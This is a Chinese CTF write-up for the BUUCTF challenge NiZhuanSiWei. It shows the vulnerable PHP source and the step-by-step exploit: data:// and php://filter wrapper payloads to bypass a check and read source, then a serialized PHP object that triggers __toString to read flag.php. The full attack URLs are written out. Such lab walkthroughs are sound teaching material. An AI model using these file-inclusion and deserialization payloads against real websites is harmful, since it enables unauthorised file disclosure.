BUUCTF [ZJCTF 2019]NiZhuanSiWei1

涉及知识点:

  1. php代码审计;
  2. date://text/plain协议;
  3. filter 协议;
  4. 反序列化;
  5. 魔术方法

 打开题目链接,是直接给出的php代码。

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

第一个if语句要求test不为空并且text内容为welcome to the zjctf.

函数file_get_contents()解释:

file_get_contents() 函数把整个文件读入一个字符串中。

file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法.

(ps:具体用法见:PHP file_get_contents() 函数)

于是便想到date://text/plain伪协议,构造payload绕过第一个if:

使用格式:data://text/plain,[code]
eg: data://text/plain,base64,[code]

http://522341e8-4fc1-4d56-822d-01a0962a4569.node4.buuoj.cn:81/?text=data://text/plain,welcome%20to%20the%20zjctf

重新发送后:显示如图所示:

 到此,第一个if绕过成功;

在第二个if语句中发现有提示useless .php文件,便想到使用伪协议filter读取文件内容,

php://filter
    用法:格式为php://filter/[write] or [read]=[过滤器]/[resource]=[文件路径]

构造第二个payload,读取php文件中的内容:

file=php://filter/read=convert.base64-encode/resource=useless.php

重新发送以后,显示如图所示:

将所得到的内容进行base64解码得到如下php代码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

 分析代码

可知flag应该存在于flag.php文件中;

__toString()是快速获取对象的字符串信息的便捷方式,似乎魔术方法都有一个“自动“的特性,如自动获取,自动打印等,__toString()也不例外,它是在直接输出对象引用时自动调用的方法。

__toString()的作用

当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。

(ps __toString() 函数详解见:php反序列化及__toString() - 镱鍚 - 博客园)

第二个if语句中有一个反序列化:unserialize()函数:unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。可写出序列化代码:

(ps:具体用法见:PHP unserialize() 函数 | 菜鸟教程)

<?php
class Flag{
	public $file = flag.php;
}
$a = new Flag();
echo serialize($a);
?>

运行后可得到;

则可再一次进行构造完整payload:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

 即可显示:

 最后在查看网页源代码,即可发现flag。

 

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值